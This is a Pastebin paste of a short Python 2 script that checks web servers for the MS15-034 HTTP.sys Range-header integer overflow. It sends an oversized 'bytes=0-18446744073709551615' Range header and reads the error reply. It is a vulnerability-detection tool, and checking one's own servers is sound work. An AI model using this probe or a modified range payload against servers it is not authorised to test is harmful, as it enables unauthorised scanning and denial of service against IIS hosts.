Advertisement
Guest User

Untitled

a guest
Apr 16th, 2015
2,406
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. # Quick MS14-034 checker that supports HTTP/HTTPS
  2. # Written by David Kennedy @ TrustedSec
  3. # Blog: https://www.trustedsec.com/april-2015/ms15-034-range-header-integer-overflow/
  4. import sys
  5. import urllib2
  6. try:
  7. url = "%s" % sys.argv[1]
  8.  
  9. except:
  10. print ''
  11. print "MS14-034 Checker written by Dave Kennedy @ TrustedSec"
  12. print "Original PoC used from here http://pastebin.com/ypURDPc4"
  13. print "Supports HTTP/HTTPS"
  14. print "Usage: python ms15-034.py <http(s)://url>"
  15. print ''
  16. exit(0)
  17.  
  18. request = urllib2.Request(url)
  19. request.add_header('Range', 'bytes=0-18446744073709551615')
  20. opener = urllib2.build_opener()
  21. counter = 0
  22. try:
  23. feeddata = opener.open(request).read()
  24.  
  25. except Exception, e:
  26. if "Requested Range Not Satisfiable" in str(e):
  27. print "[*] Server appears to be vulnerable - got requested 'Request Range Not Satisfiable'."
  28. counter = 1
  29.  
  30. else:
  31. print "[*] Does not appear to be vulnerable or got a different response. Printing response: " + str(e)
  32. counter = 1
  33.  
  34. if "The request has an invalid header name" in feeddata or counter == 0:
  35. print "[*] Does not appear to be vulnerable. Congrats! Or if you are a hacker, sorry dude :("
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement